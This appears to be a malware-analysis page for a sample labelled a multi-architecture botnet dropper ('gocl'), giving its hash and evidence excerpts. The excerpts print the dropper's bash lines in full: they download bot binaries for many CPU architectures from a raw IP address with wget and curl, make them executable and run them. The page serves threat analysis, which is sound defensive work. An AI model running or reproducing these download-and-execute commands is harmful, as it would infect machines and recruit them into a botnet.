Hostile 100% Download

gocl

Multi-arch botnet dropper

Raw-IP multi-architecture native payload loaderRaw-IP repeated native payload download and execution
SHA-256e596cb6f4084a8dbf3e7819d9b6b116bfcf84f4ed2c8c677c128af5aab7bf87d
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO(C₂)H₄(F₃Cm₇Os₂Po)

Evidence

Raw-IP multi-architecture native payload loader lines 1–6
1#!/bin/bash
2cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.x86; curl -O http://46.151.182.200/bot.x86;cat bot.x86 >WTF;chmod +x *;./WTF gocl
3cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.mips; curl -O http://46.151.182.200/bot.mips;cat bot.mips >WTF;chmod +x *;./WTF gocl
4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.arc; curl -O http://46.151.182.200/bot.arc;cat bot.arc >WTF;chmod +x *;./WTF gocl
5cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.i468; curl -O http://46.151.182.200/bot.i468;cat bot.i468 >WTF;chmod +x *;./WTF gocl
6cd /tm …
References multiple CPU architecture names lines 6–8
6:23… || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.i686; curl -O http://46.151.182.200/bot.i686;cat bot.i686 >WTF;chmod +x *;./WTF gocl
7cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.x86_64; curl -O http://46.151.182.200/bot.x86_64;cat bot.x86_64 >WTF;chmod +x *;./WTF gocl
8cd /tmp || cd /var/run || cd /mnt || cd /ro …
Script targets multiple CPU architectures lines 9–10
9:23… || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.arm; curl -O http://46.151.182.200/bot.arm;cat bot.arm >WTF;chmod +x *;./WTF gocl
10cd /tmp || cd /var/run || cd /mnt || cd /root || …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.